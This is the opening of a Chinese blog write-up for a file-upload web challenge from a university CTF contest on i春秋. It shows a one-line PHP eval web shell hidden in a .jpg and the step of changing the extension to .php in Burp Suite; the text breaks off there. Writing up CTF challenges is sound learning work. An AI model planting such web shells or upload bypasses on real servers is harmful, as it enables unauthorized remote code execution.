qq_44858189的博客

原创 i春秋-第三届“百越杯”福建省高校网络空间安全大赛

i春秋-第三届“百越杯”福建省高校网络空间安全大赛文件上传利用菜刀连接数据库 记录一下i春秋里的一道web题，题目类型是文件上传漏洞 传送门：https://www.ichunqiu.com/battalion?t=1&r=61025 主要就两个知识点，很基础，适合新手阅读，大佬勿喷哈 文件上传 来到上传点 先上传一个正常的.jpg文件(图片中写入一句话木马) <?php eval($_POST['a']) ;?> 然后打开burp suite抓包，把后缀名jpg修改成php